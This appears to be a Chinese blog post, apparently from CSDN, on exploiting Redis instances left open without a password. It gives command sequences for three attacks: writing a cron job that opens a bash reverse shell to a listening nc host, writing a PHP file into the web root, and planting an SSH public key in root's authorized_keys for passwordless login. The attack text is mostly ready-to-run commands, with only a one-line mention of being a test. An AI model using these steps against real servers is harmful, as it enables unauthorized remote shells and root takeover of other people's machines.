redis 未授权访问配合计划任务反弹shell

不过是三年五载

已于 2023-06-03 15:13:48 修改

阅读量1.6k

点赞数 2

分类专栏：数据库提权文章标签： redis 数据库缓存

于 2023-05-23 15:56:54 首次发布

本文链接：https://blog.youkuaiyun.com/m0_65096687/article/details/130828941

版权

数据库提权专栏收录该内容

4 篇文章

订阅专栏

文章详细介绍了Redis未授权访问漏洞的产生条件，包括未绑定特定IP和无密码认证，以及三种利用这种方式进行攻击的方法：反弹shell、直接写入webshell和修改SSH公钥实现免密登录。同时，提供了在KaliLinux上执行这些操作的命令示例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

redis未授权访问漏洞产生条件：
1.redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；
2.没有设置密码认证（一般为空），可以免密码远程登录redis服务。

要在kali上下载客户端

对方redis数据库开启后就会直接连接

一共有三种利用方式：

1.利用redis反弹回来一个shell

root@kali:~# redis-cli -h 192.168.85.170
 set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"
 config set dir /var/spool/cron/
 config set dbfilename root
 save

然后直接本地开个nc

nc -lvnp 7999


进行接受反弹回来的信息

kali监听

2. 直接写shell

因为这是测试，所以知道对方的目录

config set dir /var/www
config set dbfilename test.php
set x "<?php phpinfo();?>"
save

然后在对方服务器查看一下

webshell已经被写入

3.改公钥免密登录

先本地生成一个密钥

ssh-keygen -t rsa

然后把密钥写入对方服务器

cat 1.txt | redis-cli -h 192.168.85.170 -x set crack

redis客户端登录

config set dir /root/.ssh             放入目录
config set dbfilename authorized_keys  改名
save
quit

然后退出，ssh免密登录 ssh -i id_rsa root@192.168.85.170